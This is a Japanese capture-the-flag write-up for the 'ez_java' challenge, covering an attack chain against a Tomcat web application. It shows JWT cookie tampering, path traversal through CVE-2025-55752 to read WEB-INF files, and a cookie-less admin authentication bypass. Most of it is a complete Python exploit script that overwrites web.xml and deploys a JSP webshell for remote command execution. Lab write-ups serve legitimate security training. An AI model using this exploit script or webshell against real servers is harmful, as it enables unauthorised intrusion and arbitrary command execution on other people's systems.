Apache Tomcatの脆弱性を利用したJava Webアプリケーションの侵入手法

ez_java

サンプルを開くと、またログインフォームが表示されます。adminが使用済みならAdminで登録してみましょう。

ログインに成功しました。

前の問題の経験から、Cookieを開くとJWTでエンコードされていることがわかります。

Adminをadminに変更してエンコードします。

eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc2NTYyMjE4M30.uqlZpRIPHzHnA45-ddAwJwLT1Ga6an55bsBk2tMlvckXWETrXM3jM5jrG4kKdI-zFhn6GOVUQCV1IkdDlFwsrQ

奇妙なことに、バックエンドは未承認の状態を示しています。

ここでエラーが発生し、ApacheサーバーとバージョンApache Tomcat/9.0.108が漏洩しました。

ヒントに従います。

RewriteCond %{QUERY_STRING} (<sup>|&)path=(\[</sup>&\]+) RewriteRule ^/download$ /%2 \[B,L\]

ここに`CVE-2025-55752`、つまり`Apache Tomcat RewriteValveディレクトリトラバーサル脆弱性`が存在することが判明しました。

https://blog.csdn.net/AKM4180/article/details/154134981

web.xmlファイルにアクセスします:`/download?path=%2fWEB-INF%2fweb.xml`、以下を取得します。

ここにはいくつかのservletがあります。まずAdminDashboardServletを読み取ります。

http://192.168.18.25:25004/download?path=%2FWEB-INF%2Fclasses%2Fcom%2Fctf%2FBackUpServlet.class

downloadが得られ、ソースコードを逆コンパイルします。

その中の`validateAdmin`メソッドにはロジックの欠陥があります:

    static boolean validateAdmin(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        Cookie[] cookies = req.getCookies();
        if (cookies != null) {
            for(Cookie cookie : cookies) {
                if ("jwt".equals(cookie.getName())) {
                    String value = cookie.getValue();
                    String username = JwtUtil.validateToken(value);
                    if (username == null) {
                        resp.sendError(401);
                        return false;
                    }

                    if (username.compareTo("admin") != 0) {
                        resp.sendError(401);
                        return false;
                    }
                }
            }
        }

        resp.setContentType("application/json;charset=UTF-8");
        return true;
    }

このコードは、**Cookieを一切持たない場合**、`return true`操作が実行されることを意味します。つまり、Cookieを一切持たずに`/admin/`ルート下のすべてのインターフェースにアクセスできます。

ブラウザはjspパーシングサービスを有効にしていないため、悪意のある`web.xml`構成を含む`JspServlet`をアップロードし、元の`WEB-INF/web.xml`を上書きして、サーバーが私たちの悪意のあるjspファイル(webshell)を解析できるようにする必要があります。

その中の`renameFile`メソッドの`getCanonicalFile`は、ファイルパスを検出し、すべての"."と".."を解析します。

File base = (new File(this.getServletContext().getRealPath(resourceDir))).getCanonicalFile();

したがって、resourceDirを"."に設定し、`/admin/rename`を介してアップロードした悪意のあるweb.xmlをWEB-INF/web.xmlに変更する必要があります。

Tomcatは新しいweb.xmlを検出するとアプリケーションを自動的にリロードし、アップロードしたjsp webshellを実行できます。

import requests
import time
import sys

# ================= 設定エリア =================
ターゲットURL = "http://192.168.18.25:25004"
実行コマンド = "cat /flag"  # フラグを取得するコマンド
PROXY = None # {"http": "http://127.0.0.1:8080"}  # Burpでデバッグが必要な場合は、コメントを解除してください

# ================= Payload構築 =================

# 1. 悪意のある web.xml (修正版:元のビジネス構成を含む)
# 作用:元のアップロード/管理機能を保持する一方で、強制的にJSP解析を有効にします
悪意のあるWEB_XML = """


  <servlet>
      jsp
      org.apache.jasper.servlet.JspServlet
      
          fork
          false
      
      
          xpoweredBy
          false
      
      3
  </servlet>
  
      jsp
      *.jsp
  

  <servlet>
    LoginServlet
    com.ctf.LoginServlet
  </servlet>
  <servlet>
    RegisterServlet
    com.ctf.RegisterServlet
  </servlet>
  
  <servlet>
    DashboardServlet
    com.ctf.DashboardServlet
    
      10485760
      20971520
      0
    
  </servlet>
  
  <servlet>
    AdminDashboardServlet
    com.ctf.AdminDashboardServlet
    
      10485760
      20971520
      0
    
  </servlet>
  
  <servlet>
    BackUpServlet
    com.ctf.BackUpServlet
  </servlet>

  
    LoginServlet
    /login
  
  
    RegisterServlet
    /register
  
  
    DashboardServlet
    /dashboard/*
  
  
    AdminDashboardServlet
    /admin/*
  
  
    BackUpServlet
    /backup/*
  

  
    index.html
  

"""

# 2. JSP Webshell (強化版:標準出力とエラー出力をサポート)
JSP_SHELL = r"""<%@ page import="java.io.*,java.util.*" %>

<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        // /bin/sh -cを使用してパイプライン記号と複雑なコマンドに互換性を持たせます
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
        InputStream in = p.getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\A");
        String output = s.hasNext() ? s.next() : "";
        
        InputStream err = p.getErrorStream();
        Scanner sErr = new Scanner(err).useDelimiter("\\A");
        String error = sErr.hasNext() ? sErr.next() : "";
        
        out.println(output + error);
    }
%>
"""

# ================= ユーティリティ関数 =================

def リソースディレクトリ設定(path):
    """認証バイパスを利用してresourceDirをWebRootに設定します"""
    print(f"[*] リソースディレクトリを設定中: {path}")
    try:
        # キー:Cookieなしで認証バイパスをトリガーします
        r = requests.post(f"{ターゲットURL}/admin/challengeResourceDir", 
                          data={"new-path": path},
                          proxies=PROXY)
        if r.status_code == 200:
            print("[+] リソースディレクトリの設定に成功しました。")
            return True
        else:
            print(f"[-] リソースディレクトリの設定に失敗しました: {r.status_code} - {r.text}")
            return False
    except Exception as e:
        print(f"[-] エラー: {e}")
        return False

def ファイルアップロード(filename, content):
    """ファイルアップロードをシミュレートし、ターゲットインターフェースは通常 /dashboard/upload または /admin/upload です"""
    print(f"[*] ファイルをアップロード/書き込み中: {filename}")
    try:
        files = {'file': (filename, content)}
        # dashboard uploadを試み、失敗した場合は /admin/upload に切り替えます
        アップロードURL = f"{ターゲットURL}/dashboard/upload" 
        # アップロードURL = f"{ターゲットURL}/admin/upload" # バックアップインターフェース
        
        r = requests.post(アップロードURL, files=files, proxies=PROXY)
        
        if r.status_code == 200:
            print(f"[+] ファイル {filename} がアップロードされました。")
            return True
        else:
            # 時々500やその他のエラーが発生しても、ファイルは実際に書き込まれている場合があります。確認してみましょう
            print(f"[-] アップロードステータス: {r.status_code}. ファイルの存在を確認しています...")
            check = requests.get(f"{ターゲットURL}/{filename}", proxies=PROXY)
            if check.status_code == 200:
                print(f"[+] チェックに合格: {filename} はサーバー上に存在します。")
                return True
            return False
    except Exception as e:
        print(f"[-] アップロードエラー: {e}")
        return False

def ファイルリネーム(old_path, new_path):
    """renameインターフェースを利用してファイルを移動/上書きします"""
    print(f"[*] {old_path} を {new_path} にリネーム中")
    try:
        r = requests.post(f"{ターゲットURL}/admin/rename", 
                          data={"oldPath": old_path, "newName": new_path},
                          proxies=PROXY)
        # 返されたコンテンツを確認して成功を確認します
        if r.status_code == 200 and ('"renamed":true' in r.text or 'true' in r.text):
            print("[+] リネームに成功しました。")
            return True
        else:
            print(f"[-] リネームに失敗しました: {r.text}")
            return False
    except Exception as e:
        print(f"[-] リネームエラー: {e}")
        return False

def コマンド実行(shell_name, cmd):
    print(f"[*] コマンドを実行中: {cmd}")
    try:
        ターゲット = f"{ターゲットURL}/{shell_name}"
        r = requests.get(ターゲット, params={"cmd": cmd}, proxies=PROXY)
        if r.status_code == 200:
            print("
" + "="*20 + " 出力 " + "="*20)
            print(r.text.strip())
            print("="*48 + "
")
        else:
            print(f"[-] 実行に失敗しました: {r.status_code}")
    except Exception as e:
        print(f"[-] 実行エラー: {e}")

# ================= メインフロー =================

def main():
    print("[*] 攻撃を開始しています...")
    
    # 1. リソースディレクトリをWebRoot (.) に設定します
    # これはすべてのファイル操作の前提条件であり、ディレクトリ制限を打破します
    if not リソースディレクトリ設定("."):
        return

    # 2. 完全な構成を含む悪意のある web.xml をアップロードします
    # 一時ファイルとしてアップロードし、直接上書きによるエラーを防ぎます
    一時XML名 = "pwn_web.xml"
    if not ファイルアップロード(一時XML名, 悪意のあるWEB_XML):
        print("[-] 中止: web.xmlコンテンツのアップロードに失敗しました。")
        return

    # 3. WEB-INF/web.xml を上書きします
    # このステップはTomcatがアプリケーションをリロードするトリガーとなります
    if not ファイルリネーム(一時XML名, "WEB-INF/web.xml"):
        print("[-] 中止: web.xmlの上書きに失敗しました。")
        return

    # 4. Tomcatが構成をリロードするのを15秒待ちます (Reload Context)
    print("[*] Tomcatが構成をリロードするのを15秒待機しています...")
    time.sleep(15)

    # 5. 【重要な追加】リロード後、ResourceDir変数はデフォルト値にリセットされる可能性があります
    # したがって、安全のために再度"."に設定し、後続のアップロードされたシェルが正しくリネームされるようにします
    print("[*] リロード後にリソースディレクトリを再設定中...")
    リソースディレクトリ設定(".")

    # 6. JSP Shellをアップロードして展開します
    # まずtxtにアップロードして、存在する可能性のある拡張子チェックを回避します(web.xmlはすでに許可していますが、堅実な方が良いです)
    一時シェル名 = "shell.txt"
    最終シェル名 = "shell.jsp"
    
    if not ファイルアップロード(一時シェル名, JSP_SHELL):
        print("[-] シェルコンテンツのアップロードに失敗しました。")
        return
    
    if not ファイルリネーム(一時シェル名, 最終シェル名):
        print("[-] シェルを.jspにリネームするのに失敗しました。")
        return

    # 7. コマンドを実行してフラグを取得します
    print("[+] 攻撃チェーンが完了しました!RCEをテスト中...")
    コマンド実行(最終シェル名, 実行コマンド)

if __name__ == "__main__":
    main()

タグ: Apache Tomcat JWT Web.xml JSP RCE

6月17日 18:37 投稿